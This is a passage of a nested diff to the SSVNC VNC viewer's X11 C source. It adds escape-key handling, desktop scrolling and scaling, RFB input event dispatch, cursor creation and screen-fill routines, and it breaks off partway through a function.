-+ int dy = (int) (amount * h);
-+ if (amount == 0.0) dy = 1;
-+ if (dy < 0) dy = -dy;
-+ if (vert < 0) {
-+ y2 += dy;
-+ } else {
-+ y2 -= dy;
-+ }
-+ if (y2 < 0) y2 = 0;
-+ }
-+ }
-+
-+ if (db) fprintf(stderr, "%d %d %f viewport(%dx%d): %d %d -> %d %d\n", horiz, vert, amount, w, h, -x, -y, x2, y2);
-+ XawViewportSetCoordinates(viewport, x2, y2);
-+
-+ if (appData.fullScreen) {
-+ XSync(dpy, False);
-+ XtVaGetValues(desktop, XtNx, &x, XtNy, &y, NULL);
-+ desktopX = -x;
-+ desktopY = -y;
-+ } else if (amount == -1.0) {
-+ XSync(dpy, False);
-+ }
- }
-
-+void scale_desktop(int bigger, double frac) {
-+ double current, new;
-+ char tmp[100];
-+ char *s;
-+ int fs;
-+
-+ if (appData.scale == NULL) {
-+ s = "1.0";
-+ } else {
-+ s = appData.scale;
-+ }
-+ if (!strcmp(s, "auto")) {
-+ fprintf(stderr, "scale_desktop: skipping scale mode '%s'\n", s);
-+ return;
-+ } else if (!strcmp(s, "fit")) {
-+ fprintf(stderr, "scale_desktop: skipping scale mode '%s'\n", s);
-+ return;
-+ } else if (strstr(s, "x")) {
-+ fprintf(stderr, "scale_desktop: skipping scale mode '%s'\n", s);
-+ return;
-+ } else if (!strcmp(s, "none")) {
-+ s = "1.0";
-+ }
-+
-+ if (sscanf(s, "%lf", ¤t) != 1) {
-+ fprintf(stderr, "scale_desktop: skipping scale mode '%s'\n", s);
-+ return;
-+ }
-+ if (bigger) {
-+ new = current * (1.0 + frac);
-+ } else {
-+ new = current / (1.0 + frac);
-+ }
-+ if (0.99 < new && new < 1.01) {
-+ new = 1.0;
-+ }
-
-+ if (new > 5.0) {
-+ fprintf(stderr, "scale_desktop: not scaling > 5.0: %f\n", new);
-+ return;
-+ } else if (new < 0.05) {
-+ fprintf(stderr, "scale_desktop: not scaling < 0.05: %f\n", new);
-+ return;
-+ }
-+ sprintf(tmp, "%.16f", new);
-+ appData.scale = strdup(tmp);
-+
-+ fs = 0;
-+ if (appData.fullScreen) {
-+ fs = 1;
-+ FullScreenOff();
-+ }
-+ if (1) {
-+ double fx, fy;
-+ get_scale_values(&fx, &fy);
-+ if (fx > 0.0 && fy > 0.0) {
-+ rescale_image();
-+ }
-+ }
-+ if (fs) {
-+ FullScreenOn();
-+ }
-+}
-+
-+static int escape_mods[8];
-+static int escape_drag_in_progress = 0, last_x = 0, last_y = 0;
-+static double last_drag = 0.0;
-+static double last_key = 0.0;
-+
-+static int escape_sequence_pressed(void) {
-+ static char *prev = NULL;
-+ char *str = "default";
-+ int sum, i, init = 0, pressed;
-+ static int db = -1;
-+
-+ if (db < 0) {
-+ if (getenv("SSVNC_DEBUG_ESCAPE_KEYS")) {
-+ db = 1;
-+ } else {
-+ db = 0;
-+ }
-+ }
-+
-+ if (appData.escapeKeys != NULL) {
-+ str = appData.escapeKeys;
-+ }
-+ if (prev == NULL) {
-+ init = 1;
-+ prev = strdup(str);
-+ } else {
-+ if (strcmp(prev, str)) {
-+ init = 1;
-+ free(prev);
-+ prev = strdup(str);
-+ }
-+ }
-+ if (db) fprintf(stderr, "str: %s\n", str);
-+
-+ if (init) {
-+ char *p, *s;
-+ KeySym ks;
-+ int k = 0, failed = 0;
-+
-+ for (i = 0; i < 8; i++) {
-+ escape_mods[i] = -1;
-+ }
-+
-+ if (!strcasecmp(str, "default")) {
-+#if (defined(__MACH__) && defined(__APPLE__))
-+ s = strdup("Control_L,Meta_L");
-+#else
-+ s = strdup("Alt_L,Super_L");
-+#endif
-+ } else {
-+ s = strdup(str);
-+ }
-+
-+ p = strtok(s, ",+ ");
-+ while (p) {
-+ ks = XStringToKeysym(p);
-+ if (ks == XK_Shift_L || ks == XK_Shift_R) {
-+ putenv("NO_X11VNC_APPSHARE=1");
-+ }
-+ if (k >= 8) {
-+ fprintf(stderr, "EscapeKeys: more than 8 modifier keys.\n");
-+ failed = 1;
-+ break;
-+ }
-+ if (ks == NoSymbol) {
-+ fprintf(stderr, "EscapeKeys: failed lookup for '%s'\n", p);
-+ failed = 1;
-+ break;
-+ } else if (!IsModifierKey(ks)) {
-+ fprintf(stderr, "EscapeKeys: not a modifier key '%s'\n", p);
-+ failed = 1;
-+ break;
-+ } else {
-+ KeyCode kc = XKeysymToKeycode(dpy, ks);
-+ if (kc == NoSymbol) {
-+ fprintf(stderr, "EscapeKeys: no keycode for modifier key '%s'\n", p);
-+ failed = 1;
-+ break;
-+ }
-+ if (db) fprintf(stderr, "set: %d %d\n", k, kc);
-+ escape_mods[k++] = kc;
-+ }
-+
-+ p = strtok(NULL, ",+ ");
-+ }
-+ free(s);
-+
-+ if (failed) {
-+ for (i = 0; i < 8; i++) {
-+ escape_mods[i] = -1;
-+ }
-+ }
-+ }
-+
-+ pressed = 1;
-+ sum = 0;
-+ for (i = 0; i < 8; i++) {
-+ int kc = escape_mods[i];
-+ if (kc != -1 && kc < 256) {
-+ if (db) fprintf(stderr, "try1: %d %d = %d\n", i, kc, modifierPressed[kc]);
-+ if (!modifierPressed[kc]) {
-+ pressed = 0;
-+ break;
-+ } else {
-+ sum++;
-+ }
-+ }
-+ }
-+ if (sum == 0) pressed = 0;
-+
-+ if (!pressed) {
-+ /* user may have dragged mouse outside of toplevel window */
-+ int i, k;
-+ int keystate[256];
-+ char keys[32];
-+
-+ /* so query server instead of modifierPressed[] */
-+ XQueryKeymap(dpy, keys);
-+ for (i=0; i<32; i++) {
-+ char c = keys[i];
-+
-+ for (k=0; k < 8; k++) {
-+ if (c & 0x1) {
-+ keystate[8*i + k] = 1;
-+ } else {
-+ keystate[8*i + k] = 0;
-+ }
-+ c = c >> 1;
-+ }
-+ }
-+
-+ /* check again using keystate[] */
-+ pressed = 2;
-+ sum = 0;
-+ for (i = 0; i < 8; i++) {
-+ int kc = escape_mods[i];
-+ if (kc != -1 && kc < 256) {
-+ if (db) fprintf(stderr, "try2: %d %d = %d\n", i, kc, keystate[kc]);
-+ if (!keystate[kc]) {
-+ pressed = 0;
-+ break;
-+ } else {
-+ sum++;
-+ }
-+ }
-+ }
-+ if (sum == 0) pressed = 0;
-+ }
-+
-+ return pressed;
-+}
-+
-+static int shift_is_down(void) {
-+ int shift_down = 0;
-+ KeyCode kc;
-+
-+ if (appData.viewOnly) {
-+ int i, k;
-+ char keys[32];
-+ int keystate[256];
-+
-+ XQueryKeymap(dpy, keys);
-+ for (i=0; i<32; i++) {
-+ char c = keys[i];
-+
-+ for (k=0; k < 8; k++) {
-+ if (c & 0x1) {
-+ keystate[8*i + k] = 1;
-+ } else {
-+ keystate[8*i + k] = 0;
-+ }
-+ c = c >> 1;
-+ }
-+ }
-+
-+ kc = XKeysymToKeycode(dpy, XK_Shift_L);
-+ if (kc != NoSymbol && keystate[kc]) {
-+ shift_down = 1;
-+ } else {
-+ kc = XKeysymToKeycode(dpy, XK_Shift_R);
-+ if (kc != NoSymbol && keystate[kc]) {
-+ shift_down = 1;
-+ }
-+ }
-+ return shift_down;
-+ } else {
-+ kc = XKeysymToKeycode(dpy, XK_Shift_L);
-+ if (kc != NoSymbol && modifierPressed[kc]) {
-+ shift_down = 1;
-+ } else {
-+ kc = XKeysymToKeycode(dpy, XK_Shift_R);
-+ if (kc != NoSymbol && modifierPressed[kc]) {
-+ shift_down = 1;
-+ }
-+ }
-+ return shift_down;
-+ }
-+}
-+
- /*
- * SendRFBEvent is an action which sends an RFB event. It can be used in two
- * ways. Without any parameters it simply sends an RFB event corresponding to
-@@ -201,127 +2089,406 @@
- * button2 down, 3 for both, etc).
- */
-
-+extern Bool selectingSingleWindow;
-+
-+extern Cursor dotCursor3;
-+extern Cursor dotCursor4;
-+
-+extern void set_server_scale(int);
-+
- void
- SendRFBEvent(Widget w, XEvent *ev, String *params, Cardinal *num_params)
- {
-- KeySym ks;
-- char keyname[256];
-- int buttonMask, x, y;
--
-- if (appData.fullScreen && ev->type == MotionNotify) {
-- if (BumpScroll(ev))
-- return;
-- }
-+ KeySym ks;
-+ char keyname[256];
-+ int buttonMask, x, y;
-+ int do_escape;
-+ static int db = -1;
-+ char *ek = appData.escapeKeys;
-+
-+ if (db < 0) {
-+ if (getenv("SSVNC_DEBUG_ESCAPE_KEYS")) {
-+ db = 1;
-+ } else {
-+ db = 0;
-+ }
-+ }
-+
-+ if (ev->type == MotionNotify || ev->type == KeyRelease) {
-+ static double last = 0.0;
-+ double now = dnow();
-+ if (now > last + 0.25) {
-+ check_things();
-+ last = now;
-+ }
-+ }
-+
-+ if (selectingSingleWindow && ev->type == ButtonPress) {
-+ selectingSingleWindow = False;
-+ SendSingleWindow(ev->xbutton.x, ev->xbutton.y);
-+ if (appData.viewOnly) {
-+ XDefineCursor(dpy, desktopWin, dotCursor4);
-+ } else {
-+ XDefineCursor(dpy, desktopWin, dotCursor3);
-+ }
-+ return;
-+ }
-
-- if (appData.viewOnly) return;
-+ if (appData.fullScreen && ev->type == MotionNotify && !escape_drag_in_progress) {
-+ if (BumpScroll(ev)) {
-+ return;
-+ }
-+ }
-+
-+ do_escape = 0;
-+ if (ek != NULL && (ek[0] == 'n' || ek[0] == 'N') && !strcasecmp(ek, "never")) {
-+ ;
-+ } else if (appData.viewOnly) {
-+ do_escape = 1;
-+ } else if (appData.escapeActive) {
-+ int skip = 0, is_key = 0;
-+
-+ if (ev->type == KeyPress || ev->type == KeyRelease) {
-+ is_key = 1;
-+ XLookupString(&ev->xkey, keyname, 256, &ks, NULL);
-+ if (IsModifierKey(ks)) {
-+ skip = 1;
-+ }
-+ }
-+ if (!skip) {
-+ int es = escape_sequence_pressed();
-+ if (es == 1) {
-+ do_escape = 1;
-+ } else if (es == 2) {
-+ if (is_key) {
-+ if (dnow() < last_key + 5.0) {
-+ do_escape = 1;
-+ }
-+ } else {
-+ if (dnow() < last_drag + 5.0) {
-+ do_escape = 1;
-+ }
-+ }
-+ }
-+ }
-+ }
-+ if (!do_escape) {
-+ escape_drag_in_progress = 0;
-+ }
-+ if (db) fprintf(stderr, "do_escape: %d\n", do_escape);
-+
-+ if (do_escape) {
-+ int W = si.framebufferWidth;
-+ int H = si.framebufferHeight;
-+ int shift_down = 0;
-+
-+ if (!getenv("NO_X11VNC_APPSHARE")) {
-+ shift_down = shift_is_down();
-+ }
-+ if (db) fprintf(stderr, "shift_down: %d\n", shift_down);
-+
-+ if (*num_params != 0) {
-+ if (strcasecmp(params[0],"fbupdate") == 0) {
-+ SendFramebufferUpdateRequest(0, 0, W, H, False);
-+ }
-+ }
-+ if (ev->type == ButtonRelease) {
-+ XButtonEvent *b = (XButtonEvent *) ev;
-+ if (db) fprintf(stderr, "ButtonRelease: %d %d %d\n", b->x_root, b->y_root, b->state);
-+ if (b->button == 3) {
-+ if (shift_down) {
-+ x11vnc_appshare("delete");
-+ } else {
-+ ShowPopup(w, ev, params, num_params);
-+ }
-+ } else if (escape_drag_in_progress && b->button == 1) {
-+ escape_drag_in_progress = 0;
-+ }
-+ } else if (ev->type == ButtonPress) {
-+ XButtonEvent *b = (XButtonEvent *) ev;
-+ if (db) fprintf(stderr, "ButtonPress: %d %d %d\n", b->x_root, b->y_root, b->state);
-+ if (b->button == 1) {
-+ if (shift_down) {
-+ x11vnc_appshare("position");
-+ } else {
-+ escape_drag_in_progress = 1;
-+ last_x = b->x_root;
-+ last_y = b->y_root;
-+ }
-+ } else {
-+ escape_drag_in_progress = 0;
-+ }
-+ } else if (ev->type == MotionNotify) {
-+ XMotionEvent *m = (XMotionEvent *) ev;
-+ if (escape_drag_in_progress) {
-+ if (db) fprintf(stderr, "MotionNotify: %d %d %d\n", m->x_root, m->y_root, m->state);
-+ scroll_desktop(m->x_root - last_x, m->y_root - last_y, -1.0);
-+ last_x = m->x_root;
-+ last_y = m->y_root;
-+ }
-+ } else if (ev->type == KeyRelease) {
-+ int did = 1;
-+
-+ XLookupString(&ev->xkey, keyname, 256, &ks, NULL);
-+ if (ks == XK_1 || ks == XK_KP_1) {
-+ set_server_scale(1);
-+ } else if (ks == XK_2 || ks == XK_KP_2) {
-+ set_server_scale(2);
-+ } else if (ks == XK_3 || ks == XK_KP_3) {
-+ set_server_scale(3);
-+ } else if (ks == XK_4 || ks == XK_KP_4) {
-+ set_server_scale(4);
-+ } else if (ks == XK_5 || ks == XK_KP_5) {
-+ set_server_scale(5);
-+ } else if (ks == XK_6 || ks == XK_KP_6) {
-+ set_server_scale(6);
-+ } else if (ks == XK_r || ks == XK_R) {
-+ SendFramebufferUpdateRequest(0, 0, W, H, False);
-+ } else if (ks == XK_b || ks == XK_B) {
-+ ToggleBell(w, ev, params, num_params);
-+ } else if (ks == XK_c || ks == XK_C) {
-+ Toggle8bpp(w, ev, params, num_params);
-+ } else if (ks == XK_x || ks == XK_X) {
-+ ToggleX11Cursor(w, ev, params, num_params);
-+ } else if (ks == XK_z || ks == XK_Z) {
-+ ToggleTightZRLE(w, ev, params, num_params);
-+ } else if (ks == XK_h || ks == XK_H) {
-+ ToggleTightHextile(w, ev, params, num_params);
-+ } else if (ks == XK_f || ks == XK_F) {
-+ ToggleFileXfer(w, ev, params, num_params);
-+ } else if (ks == XK_V) {
-+ ToggleViewOnly(w, ev, params, num_params);
-+ } else if (ks == XK_Q) {
-+ Quit(w, ev, params, num_params);
-+ } else if (ks == XK_l || ks == XK_L) {
-+ ToggleFullScreen(w, ev, params, num_params);
-+ } else if (ks == XK_a || ks == XK_A) {
-+ ToggleCursorAlpha(w, ev, params, num_params);
-+ } else if (ks == XK_s || ks == XK_S) {
-+ SetScale(w, ev, params, num_params);
-+ } else if (ks == XK_t || ks == XK_T) {
-+ ToggleTextChat(w, ev, params, num_params);
-+ } else if (ks == XK_e || ks == XK_E) {
-+ SetEscapeKeys(w, ev, params, num_params);
-+ } else if (ks == XK_g || ks == XK_G) {
-+ ToggleXGrab(w, ev, params, num_params);
-+ } else if (ks == XK_D) {
-+ if (shift_down || appData.appShare) {
-+ x11vnc_appshare("delete");
-+ }
-+ } else if (ks == XK_M) {
-+ if (shift_down || appData.appShare) {
-+ x11vnc_appshare("position");
-+ }
-+ } else if (ks == XK_Left) {
-+ if (shift_down) {
-+ x11vnc_appshare("left");
-+ } else {
-+ scroll_desktop(-1, 0, 0.1);
-+ }
-+ } else if (ks == XK_Right) {
-+ if (shift_down) {
-+ x11vnc_appshare("right");
-+ } else {
-+ scroll_desktop(+1, 0, 0.1);
-+ }
-+ } else if (ks == XK_Up) {
-+ if (shift_down) {
-+ x11vnc_appshare("up");
-+ } else {
-+ scroll_desktop(0, +1, 0.1);
-+ }
-+ } else if (ks == XK_Down) {
-+ if (shift_down) {
-+ x11vnc_appshare("down");
-+ } else {
-+ scroll_desktop(0, -1, 0.1);
-+ }
-+ } else if (ks == XK_KP_Left) {
-+ if (shift_down) {
-+ x11vnc_appshare("left-fine");
-+ } else {
-+ scroll_desktop(-1, 0, 0.0);
-+ }
-+ } else if (ks == XK_KP_Right) {
-+ if (shift_down) {
-+ x11vnc_appshare("right-fine");
-+ } else {
-+ scroll_desktop(+1, 0, 0.0);
-+ }
-+ } else if (ks == XK_KP_Up) {
-+ if (shift_down) {
-+ x11vnc_appshare("up-fine");
-+ } else {
-+ scroll_desktop(0, +1, 0.0);
-+ }
-+ } else if (ks == XK_KP_Down) {
-+ if (shift_down) {
-+ x11vnc_appshare("down-fine");
-+ } else {
-+ scroll_desktop(0, -1, 0.0);
-+ }
-+ } else if (ks == XK_Next || ks == XK_KP_Next) {
-+ if (shift_down && ks == XK_Next) {
-+ x11vnc_appshare("shorter");
-+ } else {
-+ scroll_desktop(0, -1, 1.0);
-+ }
-+ } else if (ks == XK_Prior || ks == XK_KP_Prior) {
-+ if (shift_down && ks == XK_Prior) {
-+ x11vnc_appshare("taller");
-+ } else {
-+ scroll_desktop(0, +1, 1.0);
-+ }
-+ } else if (ks == XK_End || ks == XK_KP_End) {
-+ if (shift_down && ks == XK_End) {
-+ x11vnc_appshare("narrower");
-+ } else {
-+ scroll_desktop(+1, 0, 1.0);
-+ }
-+ } else if (ks == XK_Home || ks == XK_KP_Home) {
-+ if (shift_down && ks == XK_Home) {
-+ x11vnc_appshare("wider");
-+ } else {
-+ scroll_desktop(-1, 0, 1.0);
-+ }
-+ } else if (ks == XK_equal || ks == XK_plus) {
-+ if (shift_down) {
-+ x11vnc_appshare("raise");
-+ } else {
-+ scale_desktop(1, 0.1);
-+ }
-+ } else if (ks == XK_underscore || ks == XK_minus) {
-+ if (shift_down) {
-+ x11vnc_appshare("lower");
-+ } else {
-+ scale_desktop(0, 0.1);
-+ }
-+ } else {
-+ did = 0;
-+ }
-+ if (did) {
-+ last_key = dnow();
-+ }
-+ }
-+ if (escape_drag_in_progress) {
-+ last_drag = dnow();
-+ }
-+ return;
-+ }
-+ if (appData.viewOnly) {
-+ return;
-+ }
-+
-+ if (*num_params != 0) {
-+ if (strncasecmp(params[0],"key",3) == 0) {
-+ if (*num_params != 2) {
-+ fprintf(stderr, "Invalid params: "
-+ "SendRFBEvent(key|keydown|keyup,<keysym>)\n");
-+ return;
-+ }
-+ ks = XStringToKeysym(params[1]);
-+ if (ks == NoSymbol) {
-+ fprintf(stderr,"Invalid keysym '%s' passed to "
-+ "SendRFBEvent\n", params[1]);
-+ return;
-+ }
-+ if (strcasecmp(params[0],"keydown") == 0) {
-+ SendKeyEvent(ks, 1);
-+ } else if (strcasecmp(params[0],"keyup") == 0) {
-+ SendKeyEvent(ks, 0);
-+ } else if (strcasecmp(params[0],"key") == 0) {
-+ SendKeyEvent(ks, 1);
-+ SendKeyEvent(ks, 0);
-+ } else {
-+ fprintf(stderr,"Invalid event '%s' passed to "
-+ "SendRFBEvent\n", params[0]);
-+ return;
-+ }
-+ } else if (strcasecmp(params[0],"fbupdate") == 0) {
-+ if (*num_params != 1) {
-+ fprintf(stderr, "Invalid params: "
-+ "SendRFBEvent(fbupdate)\n");
-+ return;
-+ }
-+ SendFramebufferUpdateRequest(0, 0, si.framebufferWidth,
-+ si.framebufferHeight, False);
-+
-+ } else if (strcasecmp(params[0],"ptr") == 0) {
-+ if (*num_params == 4) {
-+ x = atoi(params[1]);
-+ y = atoi(params[2]);
-+ buttonMask = atoi(params[3]);
-+ SendPointerEvent(x, y, buttonMask);
-+ } else if (*num_params == 2) {
-+ switch (ev->type) {
-+ case ButtonPress:
-+ case ButtonRelease:
-+ x = ev->xbutton.x;
-+ y = ev->xbutton.y;
-+ break;
-+ case KeyPress:
-+ case KeyRelease:
-+ x = ev->xkey.x;
-+ y = ev->xkey.y;
-+ break;
-+ default:
-+ fprintf(stderr, "Invalid event caused "
-+ "SendRFBEvent(ptr,<buttonMask>)\n");
-+ return;
-+ }
-+ buttonMask = atoi(params[1]);
-+ SendPointerEvent(x, y, buttonMask);
-+ } else {
-+ fprintf(stderr, "Invalid params: "
-+ "SendRFBEvent(ptr,<x>,<y>,<buttonMask>)\n"
-+ " or SendRFBEvent(ptr,<buttonMask>)\n");
-+ return;
-+ }
-+ } else {
-+ fprintf(stderr,"Invalid event '%s' passed to "
-+ "SendRFBEvent\n", params[0]);
-+ }
-+ return;
-+ }
-
-- if (*num_params != 0) {
-- if (strncasecmp(params[0],"key",3) == 0) {
-- if (*num_params != 2) {
-- fprintf(stderr,
-- "Invalid params: SendRFBEvent(key|keydown|keyup,<keysym>)\n");
-- return;
-- }
-- ks = XStringToKeysym(params[1]);
-- if (ks == NoSymbol) {
-- fprintf(stderr,"Invalid keysym '%s' passed to SendRFBEvent\n",
-- params[1]);
-- return;
-- }
-- if (strcasecmp(params[0],"keydown") == 0) {
-- SendKeyEvent(ks, 1);
-- } else if (strcasecmp(params[0],"keyup") == 0) {
-- SendKeyEvent(ks, 0);
-- } else if (strcasecmp(params[0],"key") == 0) {
-- SendKeyEvent(ks, 1);
-- SendKeyEvent(ks, 0);
-- } else {
-- fprintf(stderr,"Invalid event '%s' passed to SendRFBEvent\n",
-- params[0]);
-- return;
-- }
-- } else if (strcasecmp(params[0],"fbupdate") == 0) {
-- if (*num_params != 1) {
-- fprintf(stderr, "Invalid params: SendRFBEvent(fbupdate)\n");
-- return;
-- }
-- SendFramebufferUpdateRequest(0, 0, si.framebufferWidth,
-- si.framebufferHeight, False);
-- } else if (strcasecmp(params[0],"ptr") == 0) {
-- if (*num_params == 4) {
-- x = atoi(params[1]);
-- y = atoi(params[2]);
-- buttonMask = atoi(params[3]);
-- SendPointerEvent(x, y, buttonMask);
-- } else if (*num_params == 2) {
- switch (ev->type) {
-+ case MotionNotify:
-+ while (XCheckTypedWindowEvent(dpy, desktopWin, MotionNotify, ev)) {
-+ ; /* discard all queued motion notify events */
-+ }
-+
-+ SendPointerEvent(ev->xmotion.x, ev->xmotion.y,
-+ (ev->xmotion.state & 0x1f00) >> 8);
-+ return;
-+
- case ButtonPress:
-+ SendPointerEvent(ev->xbutton.x, ev->xbutton.y,
-+ (((ev->xbutton.state & 0x1f00) >> 8) |
-+ (1 << (ev->xbutton.button - 1))));
-+ return;
-+
- case ButtonRelease:
-- x = ev->xbutton.x;
-- y = ev->xbutton.y;
-- break;
-+ SendPointerEvent(ev->xbutton.x, ev->xbutton.y,
-+ (((ev->xbutton.state & 0x1f00) >> 8) &
-+ ~(1 << (ev->xbutton.button - 1))));
-+ return;
-+
- case KeyPress:
- case KeyRelease:
-- x = ev->xkey.x;
-- y = ev->xkey.y;
-- break;
-- default:
-- fprintf(stderr,
-- "Invalid event caused SendRFBEvent(ptr,<buttonMask>)\n");
-- return;
-- }
-- buttonMask = atoi(params[1]);
-- SendPointerEvent(x, y, buttonMask);
-- } else {
-- fprintf(stderr,
-- "Invalid params: SendRFBEvent(ptr,<x>,<y>,<buttonMask>)\n"
-- " or SendRFBEvent(ptr,<buttonMask>)\n");
-- return;
-- }
--
-- } else {
-- fprintf(stderr,"Invalid event '%s' passed to SendRFBEvent\n", params[0]);
-- }
-- return;
-- }
--
-- switch (ev->type) {
-+ XLookupString(&ev->xkey, keyname, 256, &ks, NULL);
-
-- case MotionNotify:
-- while (XCheckTypedWindowEvent(dpy, desktopWin, MotionNotify, ev))
-- ; /* discard all queued motion notify events */
--
-- SendPointerEvent(ev->xmotion.x, ev->xmotion.y,
-- (ev->xmotion.state & 0x1f00) >> 8);
-- return;
--
-- case ButtonPress:
-- SendPointerEvent(ev->xbutton.x, ev->xbutton.y,
-- (((ev->xbutton.state & 0x1f00) >> 8) |
-- (1 << (ev->xbutton.button - 1))));
-- return;
--
-- case ButtonRelease:
-- SendPointerEvent(ev->xbutton.x, ev->xbutton.y,
-- (((ev->xbutton.state & 0x1f00) >> 8) &
-- ~(1 << (ev->xbutton.button - 1))));
-- return;
--
-- case KeyPress:
-- case KeyRelease:
-- XLookupString(&ev->xkey, keyname, 256, &ks, NULL);
--
-- if (IsModifierKey(ks)) {
-- ks = XKeycodeToKeysym(dpy, ev->xkey.keycode, 0);
-- modifierPressed[ev->xkey.keycode] = (ev->type == KeyPress);
-- }
-+ if (IsModifierKey(ks)) {
-+ ks = XKeycodeToKeysym(dpy, ev->xkey.keycode, 0);
-+ modifierPressed[ev->xkey.keycode] = (ev->type == KeyPress);
-+ }
-
-- SendKeyEvent(ks, (ev->type == KeyPress));
-- return;
-+ SendKeyEvent(ks, (ev->type == KeyPress));
-+ return;
-
-- default:
-- fprintf(stderr,"Invalid event passed to SendRFBEvent\n");
-- }
-+ default:
-+ fprintf(stderr,"Invalid event passed to SendRFBEvent\n");
-+ }
- }
-
-
-@@ -329,68 +2496,255 @@
- * CreateDotCursor.
- */
-
-+#ifndef very_small_dot_cursor
- static Cursor
--CreateDotCursor()
-+CreateDotCursor(int which)
- {
-- Cursor cursor;
-- Pixmap src, msk;
-- static char srcBits[] = { 0, 14,14,14, 0 };
-- static char mskBits[] = { 14,31,31,31,14 };
-- XColor fg, bg;
--
-- src = XCreateBitmapFromData(dpy, DefaultRootWindow(dpy), srcBits, 5, 5);
-- msk = XCreateBitmapFromData(dpy, DefaultRootWindow(dpy), mskBits, 5, 5);
-- XAllocNamedColor(dpy, DefaultColormap(dpy,DefaultScreen(dpy)), "black",
-- &fg, &fg);
-- XAllocNamedColor(dpy, DefaultColormap(dpy,DefaultScreen(dpy)), "white",
-- &bg, &bg);
-- cursor = XCreatePixmapCursor(dpy, src, msk, &fg, &bg, 2, 2);
-- XFreePixmap(dpy, src);
-- XFreePixmap(dpy, msk);
-+ Cursor cursor;
-+ Pixmap src, msk;
-+ static char srcBits3[] = { 0x00, 0x02, 0x00 };
-+ static char mskBits3[] = { 0x02, 0x07, 0x02 };
-+ static char srcBits4[] = { 0x00, 0x06, 0x06, 0x00 };
-+ static char mskBits4[] = { 0x06, 0x0f, 0x0f, 0x06 };
-+ XColor fg, bg;
-+
-+ if (which == 3) {
-+ src = XCreateBitmapFromData(dpy, DefaultRootWindow(dpy), srcBits3, 3, 3);
-+ msk = XCreateBitmapFromData(dpy, DefaultRootWindow(dpy), mskBits3, 3, 3);
-+ } else {
-+ src = XCreateBitmapFromData(dpy, DefaultRootWindow(dpy), srcBits4, 4, 4);
-+ msk = XCreateBitmapFromData(dpy, DefaultRootWindow(dpy), mskBits4, 4, 4);
-+ }
-+ XAllocNamedColor(dpy, DefaultColormap(dpy,DefaultScreen(dpy)), "black",
-+ &fg, &fg);
-+ XAllocNamedColor(dpy, DefaultColormap(dpy,DefaultScreen(dpy)), "white",
-+ &bg, &bg);
-+ cursor = XCreatePixmapCursor(dpy, src, msk, &fg, &bg, 1, 1);
-+ XFreePixmap(dpy, src);
-+ XFreePixmap(dpy, msk);
-
-- return cursor;
-+ return cursor;
- }
-+#else
-+static Cursor
-+CreateDotCursor()
-+{
-+ Cursor cursor;
-+ Pixmap src, msk;
-+ static char srcBits[] = { 0, 14, 0 };
-+ static char mskBits[] = { 14,31,14 };
-+ XColor fg, bg;
-+
-+ src = XCreateBitmapFromData(dpy, DefaultRootWindow(dpy), srcBits, 3, 3);
-+ msk = XCreateBitmapFromData(dpy, DefaultRootWindow(dpy), mskBits, 3, 3);
-+ XAllocNamedColor(dpy, DefaultColormap(dpy,DefaultScreen(dpy)), "black",
-+ &fg, &fg);
-+ XAllocNamedColor(dpy, DefaultColormap(dpy,DefaultScreen(dpy)), "white",
-+ &bg, &bg);
-+ cursor = XCreatePixmapCursor(dpy, src, msk, &fg, &bg, 1, 1);
-+ XFreePixmap(dpy, src);
-+ XFreePixmap(dpy, msk);
-
-+ return cursor;
-+}
-+#endif
-
-+int skip_maybe_sync = 0;
-+void maybe_sync(int width, int height) {
-+ static int singles = 0, always_skip = -1;
-+ int singles_max = 64;
-+
-+ if (always_skip < 0) {
-+ if (getenv("SSVNC_NO_MAYBE_SYNC")) {
-+ always_skip = 1;
-+ } else {
-+ always_skip = 0;
-+ }
-+ }
-+ if (skip_maybe_sync || always_skip) {
-+ return;
-+ }
-+#if 0
-+ if (width > 1 || height > 1) {
-+ XSync(dpy, False);
-+ singles = 0;
-+ } else {
-+ if (++singles >= singles_max) {
-+ singles = 0;
-+ XSync(dpy, False);
-+ }
-+ }
-+#else
-+ if (width * height >= singles_max) {
-+ XSync(dpy, False);
-+ singles = 0;
-+ } else {
-+ singles += width * height;
-+ if (singles >= singles_max) {
-+ XSync(dpy, False);
-+ singles = 0;
-+ }
-+ }
-+#endif
-+}
- /*
-- * CopyDataToScreen.
-+ * FillImage.
- */
-
- void
--CopyDataToScreen(char *buf, int x, int y, int width, int height)
-+FillScreen(int x, int y, int width, int height, unsigned long fill)
- {
-- if (appData.rawDelay != 0) {
-- XFillRectangle(dpy, desktopWin, gc, x, y, width, height);
-+ XImage *im = image_scale ? image_scale : image;
-+ int bpp = im->bits_per_pixel;
-+ int Bpp = im->bits_per_pixel / 8;
-+ int Bpl = im->bytes_per_line;
-+ int h, widthInBytes = width * Bpp;
-+ static char *buf = NULL;
-+ static int buflen = 0;
-+ unsigned char *ucp;
-+ unsigned short *usp;
-+ unsigned int *uip;
-+ char *scr;
-+ int b0, b1, b2;
-
-- XSync(dpy,False);
-+#if 0
-+fprintf(stderr, "FillImage bpp=%d %04dx%04d+%04d+%04d -- 0x%x\n", bpp, width, height, x, y, fill);
-+#endif
-+ if (appData.chatOnly) {
-+ return;
-+ }
-
-- usleep(appData.rawDelay * 1000);
-- }
-+ if (widthInBytes > buflen || !buf) {
-+ if (buf) {
-+ free(buf);
-+ }
-+ buflen = widthInBytes * 2;
-+ buf = (char *)malloc(buflen);
-+ }
-+ ucp = (unsigned char*) buf;
-+ usp = (unsigned short*) buf;
-+ uip = (unsigned int*) buf;
-+
-+ if (isLSB) {
-+ b0 = 0; b1 = 1; b2 = 2;
-+ } else {
-+ b0 = 2; b1 = 1; b2 = 0;
-+ }
-
-- if (!appData.useBGR233) {
-- int h;
-- int widthInBytes = width * myFormat.bitsPerPixel / 8;
-- int scrWidthInBytes = si.framebufferWidth * myFormat.bitsPerPixel / 8;
--
-- char *scr = (image->data + y * scrWidthInBytes
-- + x * myFormat.bitsPerPixel / 8);
--
-- for (h = 0; h < height; h++) {
-- memcpy(scr, buf, widthInBytes);
-- buf += widthInBytes;
-- scr += scrWidthInBytes;
-- }
-- } else {
-- CopyBGR233ToScreen((CARD8 *)buf, x, y, width, height);
-- }
-+ for (h = 0; h < width; h++) {
-+ if (bpp == 8) {
-+ *(ucp+h) = (unsigned char) fill;
-+ } else if (bpp == 16) {
-+ *(usp+h) = (unsigned short) fill;
-+ } else if (bpp == 24) {
-+ *(ucp + 3*h + b0) = (unsigned char) ((fill & 0x0000ff) >> 0);
-+ *(ucp + 3*h + b1) = (unsigned char) ((fill & 0x00ff00) >> 8);
